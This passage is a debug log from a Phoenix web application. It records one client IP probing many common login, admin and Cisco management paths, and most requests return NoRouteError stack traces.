[Thu Sep  3 08:21:37.035000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:32970] GET /app/ui/login.jsp
[Thu Sep  3 08:21:37.053000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:32970] ** (Phoenix.Router.NoRouteError) no route found for GET /app/ui/login.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:39.246000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:32972] GET /ui/faces/Login.xhtml
[Thu Sep  3 08:21:39.283000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:32972] ** (Phoenix.Router.NoRouteError) no route found for GET /ui/faces/Login.xhtml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:39.906000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:32986] GET /index.html
[Thu Sep  3 08:21:39.928000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:32986] ** (Phoenix.Router.NoRouteError) no route found for GET /index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:41.279000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:32988] GET /xampp/cgi.cgi
[Thu Sep  3 08:21:41.292000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:32988] ** (Phoenix.Router.NoRouteError) no route found for GET /xampp/cgi.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:43.774000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45794] GET /login
[Thu Sep  3 08:21:43.797000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45794] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:49.271000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45806] GET /system.xml
[Thu Sep  3 08:21:49.291000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45806] ** (Phoenix.Router.NoRouteError) no route found for GET /system.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:51.875000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45818] GET /getxml
[Thu Sep  3 08:21:51.891000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45818] ** (Phoenix.Router.NoRouteError) no route found for GET /getxml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:57.233000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59706] GET /
[Thu Sep  3 08:21:57.233000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:59706] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:21:57.234000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59706] Sent 200 in 964µs
[Thu Sep  3 08:22:05.537000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34074] GET /login
[Thu Sep  3 08:22:05.563000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34074] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:22:13.288000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43870] GET /
[Thu Sep  3 08:22:13.288000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:43870] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:22:13.289000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43870] Sent 200 in 880µs
[Thu Sep  3 08:22:14.836000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43886] GET /login.html
[Thu Sep  3 08:22:14.855000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43886] ** (Phoenix.Router.NoRouteError) no route found for GET /login.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:22:21.997000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43900] GET /authentication/login/
[Thu Sep  3 08:22:22.020000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43900] ** (Phoenix.Router.NoRouteError) no route found for GET /authentication/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:22:24.584000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57674] GET /cwhp/CSMSDesktop/about.jsp
[Thu Sep  3 08:22:24.617000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57674] ** (Phoenix.Router.NoRouteError) no route found for GET /cwhp/CSMSDesktop/about.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:22:25.213000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57684] GET /CSCOnm/servlet/login/login.jsp
[Thu Sep  3 08:22:25.245000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57684] ** (Phoenix.Router.NoRouteError) no route found for GET /CSCOnm/servlet/login/login.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:22:28.848000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57694] GET /lang_pack/EN.js
[Thu Sep  3 08:22:28.904000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57694] ** (Phoenix.Router.NoRouteError) no route found for GET /lang_pack/EN.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:22:33.416000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58900] GET /login.jsp
[Thu Sep  3 08:22:33.441000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58900] ** (Phoenix.Router.NoRouteError) no route found for GET /login.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:22:38.462000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58904] GET /CSCOnm/servlet/login/login.jsp
[Thu Sep  3 08:22:38.477000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58904] ** (Phoenix.Router.NoRouteError) no route found for GET /CSCOnm/servlet/login/login.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:22:43.969000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50380] GET /axis2/services/CUPMService/ping
[Thu Sep  3 08:22:43.991000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50380] ** (Phoenix.Router.NoRouteError) no route found for GET /axis2/services/CUPMService/ping (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
